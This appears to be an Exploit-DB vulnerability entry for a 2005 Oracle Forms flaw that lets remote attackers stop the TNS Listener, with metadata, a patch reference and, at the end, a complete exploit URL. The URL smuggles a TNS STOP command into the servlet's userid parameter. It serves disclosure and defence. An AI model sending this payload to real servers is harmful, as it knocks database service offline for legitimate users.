Denial of Service in Oracle Forms TNS Listener

vendor:

Oracle Forms

by:

Not provided

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Oracle Forms

Affected Version From: Oracle Forms versions prior to July 2005

Affected Version To: Not provided

Patch Exists: YES

Related CWE: Not provided

CPE: Not provided

Metasploit:

Other Scripts:

Platforms Tested: Not provided

2005

Denial of Service in Oracle Forms TNS Listener

Remote attackers can stop the TNS Listener service in Oracle Forms by issuing a specific HTTP request.

Mitigation:

Apply the Oracle Critical Patch Update - July 2005

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/15039/info

Oracle Forms is susceptible to a vulnerability that allows remote attackers to stop the TNS Listener service, denying further database service to legitimate users.

By issuing a specific HTTP request, remote attackers may cause the affected application to stop the TNS Listener.

This issue was reported in Oracle Forms versions prior to July 2005.

This issue was originally described and addressed in Oracle Critical Patch Update - July 2005, BID 14238 (Oracle July Security Update Multiple Vulnerabilities). Due to the availability of more information, this issue is being assigned a separate BID. 

http://www.example.com:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&debug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES